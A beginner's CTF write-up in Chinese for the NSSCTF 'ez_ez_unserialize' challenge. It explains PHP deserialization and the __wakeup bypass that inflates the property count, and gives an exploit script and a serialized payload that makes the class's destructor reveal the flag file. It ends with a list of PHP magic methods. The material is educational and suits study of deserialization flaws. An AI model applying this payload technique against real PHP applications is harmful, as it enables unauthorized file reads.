感受最大的就是:作为web新手,应速通并逐渐掌握php语言
收获:从此题提高了我对代码的理解力
【ez_ez_unserialize】
NSSCTF{1ba5d701-3b8a-4a83-965d-7e912ef6f43b}
分析
存在__wakeup()魔术方法
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
所以这题只需要绕过__weakup()
。
漏洞分析
绕过__wakeup
的检查:
__wakeup
函数试图限制$x
属性的值为当前文件路径,但由于PHP对象序列化机制允许直接设置属性,可以通过构造特定的序列化对象绕过__wakeup
的检查。当对象被反序列化并且销毁时,__destruct
将被调用,从而输出指定路径的文件内容。
利用:
可以构造一个序列化字符串,使得在反序列化时$x
被设置为fllllllag.php
,并绕过__wakeup
检查,从而在析构时读取该文件内容。
构造exp
<?php
class X{
public $x ;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if($this->x !== __FILE__){
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
echo serialize(new X("fllllllag.php"));
运行结果:
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
解释
O:1:"X"
表示创建一个X
类的对象。
1
表示该对象有一个属性。
s:1:"x";s:13:"fllllllag.php";
表示将属性$x
的值设为"fllllllag.php"
。
要绕过wakeup函数,只要序列化的中的成员数大于实际成员数,即可绕过
将:O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
修改为:O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
php的魔术方法还有很多需要我去探索(双下划线开头的)
__construct(),类的构造函数(本题涉及)
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用 (本题涉及)
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数(本题涉及)
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息